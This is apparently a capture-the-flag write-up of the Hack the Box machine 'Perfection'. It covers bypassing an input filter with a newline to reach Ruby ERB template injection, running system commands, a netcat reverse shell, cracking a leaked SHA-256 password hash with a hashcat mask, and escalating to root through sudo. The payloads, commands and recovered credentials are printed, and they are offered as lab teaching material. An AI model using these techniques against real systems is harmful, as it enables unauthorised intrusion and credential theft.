Page cover

Perfection

Hack the Box Machine Writeup

Summary

Perfection was a very straightforward and short easy Linux box. There was nothing too tricky and it teaches some interesting concepts such as hashcat password rules and SSTI. There is also a very small attack surface and minimal rabbit holes, making the machine an excellent one for beginners.

To complete the user step, first the attacker must enumerate a Server Side Template Injection located in a calculator web application. In order to exploit this a regex filter must be bypassed and the correct template engine must be enumerated. After doing so a simple reverse shell payload will give a foothold on the machine as Susan and complete the user step.

Getting Root is a bit more complicated then the user step in my opinion. First the password policy must be enumerated. The susan users password hash can then be found in a database migrations directory. With the password hash and the password policy, hashcat rules can be used to crack her hash and obtain the Susan user's password. Susan is a member of the Sudo group so now armed with the her password the attacker can simply sudo su to obtain a root shell and complete the box.

The AI is slowly learning how to make memes, we are doomed.

User

Recon

Nmap Port Scan

I started off as normal with an Nmap port scan to see what ports we can interact with. I like to use -sC and -sV to run default NSE scripts and service version enumeration.

┌─[us-dedivip-1]─[10.10.14.171]─[htb-mp-904224@htb-72eqy2ud5w]─[~/Desktop]
└──╼ [★]$ nmap -sC -sV 10.129.211.181
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-04 20:05 GMT
Nmap scan report for 10.129.211.181
Host is up (0.027s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80e479e85928df952dad574a4604ea70 (ECDSA)
|_  256 e9ea0c1d8613ed95a9d00bc822e4cfe9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.21 seconds

This only reveals SSH on port 22 and an nginx web server on port 80. Because of this limited attack surface I also ran Nmap with -p- to scan for all ports. This did not reveal anything else however. I can't really do anything against SSH without creds so that leaves the webserver up next for enumeration.

Port 80 Web Application

Looking at the website it appears to be an application for some kind of grade calculator. The home tab and page are pretty bare. They seem to have information describing the weighted calculator.

Calculating grades gives me PTSD

The about us tab contains 2 possible usernames Tina Smith and Susan Miller and not much else of value to us as attackers. In a real engagement you could use this information to attempt to create a password list to brute force a login, but that is not often the route in CTF machines.

I like how the second picture is blurry lol

The last tab 'calculate your grade' links to the calculator app in question. There is input validation in place, at least client side, ensuring our values are correct. If I submit a request and the weights do not add to 100 there is an error that is thrown.

It's good to try to always fully enumerate how things functions in web applications

Testing for Template Injection in the Category field by passing {{7*7}} results in a Malicious input blocked message, showing that there is input validation going on.

But it wasn't malicious, yet at least!

Lastly, at the bottom of the page we can see powered by Webricks 1.7.0 and made by Secure Student Tools. At this point I quickly googled for exploits for these services but did not find anything useful.

You can often find a POC for public exploits for web and templating engines

Directory Brute Force With Feroxbuster

At this point I next proceed to try a directory brute force scan against the site. It is strange that there is no admin or login page so I thought that perhaps I would be able to find a hidden one.

┌─[us-dedivip-1]─[10.10.14.171]─[htb-mp-904224@htb-72eqy2ud5w]─[~/Desktop]
└──╼ [★]$ feroxbuster -u http://10.129.211.181 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --silent
http://10.129.211.181/images/susan.jpg
http://10.129.211.181/images/lightning.png
http://10.129.211.181/images/tina.jpg
http://10.129.211.181/about
http://10.129.211.181/css/montserrat.css
http://10.129.211.181/weighted-grade
http://10.129.211.181/images/checklist.jpg
http://10.129.211.181/css/font-awesome.min.css
http://10.129.211.181/css/lato.css
http://10.129.211.181/css/w3.css
http://10.129.211.181/

Sadly this was not the case.

F

Find SSTI Vector In Weighted-grade-calc

After doing all that enumeration the only thing left as a likely attack vector is the calculator application. Since there is no indication of emulated bot users an XSS is out of the question. It also does not appear like there is any database or SQL calls so SQLI can also be thrown out as a vector. However, since there is user inputted text echoed back to the html document this suggests we can exploit a Server Side Template Injection.

Since the Grade field and the Weight field require numbers, As i have already tested that means the injection must lie in the category field. I had already tried {{7*7}} and got a 'malicious input detected' error earlier. This is shown again below in a intercept request through BURP.

There is likely some filtering on things like { and }

Bypass regex filtering with %0A

I would need to bypass the filtering in order to get SSTI to work. I Tested { and } and other special chars to see what is being blocked. It turns out both { and } are blocked as well as ;,$,<,> and possibly some others.

Just some of the testing, I will not show all of it.

There are many resources online that detail how to bypass blacklist filters. There is an excellent one by attackercan that i used in this instance. Looking at example number 3 from the link we can see that %0A, the new line character or \n URL encoded, can be used to bypass filtering that checks at the start of a line. Testing on the calculator application I saw that test%0A{{7*7}} was no longer being filtered and displayed back in the html.

Bingo!

Enumerate SSTI template Engine

Sadly the SSTI payload of {{7*7}} is still not being executed. This is fine as it helps us determine what template engine is in use which we will need to know to construct a shell payload anyways. To enumerate the template engine I like to use hacktricks. We know the server is running ruby based on the response headers so we can limit our search to ruby template engines.

Headers provide a wealth of useful information

Testing the various payloads I finally land on ERB pay testing <%= 7*7 %> = 49

Now for the malicious part!
We should be able to get RCE from here.

Shell as Susan Through ERB SSTI

We have now confirmed the ERB SSTI and can work on a reverse shell payload. Looking at hacktricks I discovered how to execute code for this engine.

<%= system("whoami") %> #Execute code

en change this to execute ping <myip> to test the connection and ensure that no firewall will block the reverse shell. Make sure to URL encode the payload so there are no encoding issues if you have trouble.

We now have RCE and know there should not be a firewall blocking back to us, at least for ICMP.

Now I can use rev shells to create a simple nc payload and substitute the ping with that. Starting an NC listener I can then catch a shell as susan. Make sure to URL encode the & in the reverse shell payload and dont be stupid and waste time like me!

Always a great feeling when you get a shell
Thats got to be quite a roadblock

Shell Script Upgrade Trick

I then upgraded my shell to a full TTY shell using the script upgrade trick. Lastly I grabbed user.txt completing the user step of the box.

susan@perfection:~/ruby_app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
susan@perfection:~/ruby_app$ ^Z
[1]+  Stopped                 nc -lvnp 42069
┌─[us-dedivip-1]─[10.10.14.171]─[htb-mp-904224@htb-72eqy2ud5w]─[~/Desktop]
└──╼ [★]$ stty raw -echo;fg
nc -lvnp 42069
              reset
reset: unknown terminal type unknown
Terminal type? screen
susan@perfection:~$ cat user.txt
c588e01bbc07b35fd68ba25eb8b7e225

Root

Enumeration

Quick Checks

I started as I always do when landing on a new machine with some low hanging fruit quick checks. I tried to check sudo -l but cannot as I do not have the susan users password. I also check for root suid files with find but do not come across anything.

susan@perfection:~$ sudo -l
[sudo] password for susan: 


susan@perfection:~$ find / -perms -4000 2>/dev/null

Checking the Susan users home directory I can see a migration and a ruby_app folder, which I'm guessing is for the web application we already exploited. there is nothing in the /opt directory. In /var/www/html there is only a basic default nginx html page.

susan@perfection:~$ ls
Migration  ruby_app  user.txt

susan@perfection:/var/www/html$ ls
index.nginx-debian.html

Find Susan mail

Looking in /var/mail however there is a strange email for susan. Looking at this email from Tina we can find what looks like a password policy.

susan@perfection:/var/mail$ ls
susan
susan@perfection:/var/mail$ cat susan 
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student

We can see that the policy states passwords are {firstname}{first name backwards}{randomly generated integer between 1 and 1,000,000,000}. So that means for the Susan user we should be able to brute force her password as susan_nasus_{random number 1-1000000000}. It would take a super long time to use something like hydra to brute force the SSH login this many times, so perhaps there is a password hash for susan somewhere and we can use this information to crack that instead.

Man these Susan memes are savage.

Find Susan Password Hash In Migrations

Going back to Susan’s home directory There is a migrations archive. Migrations are, at high level, simply changes to the database to get it to a certain state. This means that inside the directory we might be able to find a copy of Susan’s password hash in a database migration.

susan@perfection:~$ ls
Migration  ruby_app  user.txt

Looking in the directory we come across pupilpath_credentials.db. Looking at this DB file with cat we can see what looks like the password hash for Susan and David.

susan@perfection:~/Migration$ ls
pupilpath_credentials.db
susan@perfection:~/Migration$ cat pupilpath_credentials.db 
��^�ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a�\
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP#Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

Crack Susan Password Hash

We now have Susans password hash (abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f) and with the password policy from the email we should be able to crack it. We can look at Hashcat example hashes to determine it is 1400 or SHA2-256. I use the -a flag to tell hashcat the attack type. I then feed it the password format of firstname_firstnamebackwards_randomdigits. After a couple minutes Hashcat cracks the password to susan_nasus_413759210

┌─[us-dedivip-1]─[10.10.14.171]─[htb-mp-904224@htb-72eqy2ud5w]─[~/Desktop]
└──╼ [★]$ hashcat -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
hashcat (v6.1.1) starting...
<...>
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: SHA2-256
<...>

With her password we can access the machine over SSH.

─[us-dedivip-1]─[10.10.14.171]─[htb-mp-904224@htb-72eqy2ud5w]─[~/Desktop]
└──╼ [★]$ ssh susan@10.129.211.181
The authenticity of host '10.129.211.181 (10.129.211.181)' can't be established.
ECDSA key fingerprint is SHA256:Kr1xZXUlYEUTSkTlvQSjVHuV44hfOSOJ6NpuAB7uP48.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.211.181' (ECDSA) to the list of known hosts.
susan@10.129.211.181's password: susan_nasus_413759210
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
<...>
You have mail.
susan@perfection:~$ id
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)

Abuse Sudo Group for Root

At this point we can also see Susan is part of the sudo group. We should be able to run sudo su, to get a shell as root and complete the box. We needed to have her password to run sudo though, hence why the password hash cracking was required.

susan@perfection:~$ sudo su
[sudo] password for susan: susan_nasus_413759210
root@perfection:/home/susan# cd /root
root@perfection:~# cat root.txt
a76caec47b560c8112d2c6a47ee22044
Another box down!

Additional Resources

0xdf writeup

Ippsec video walkthrough

Last updated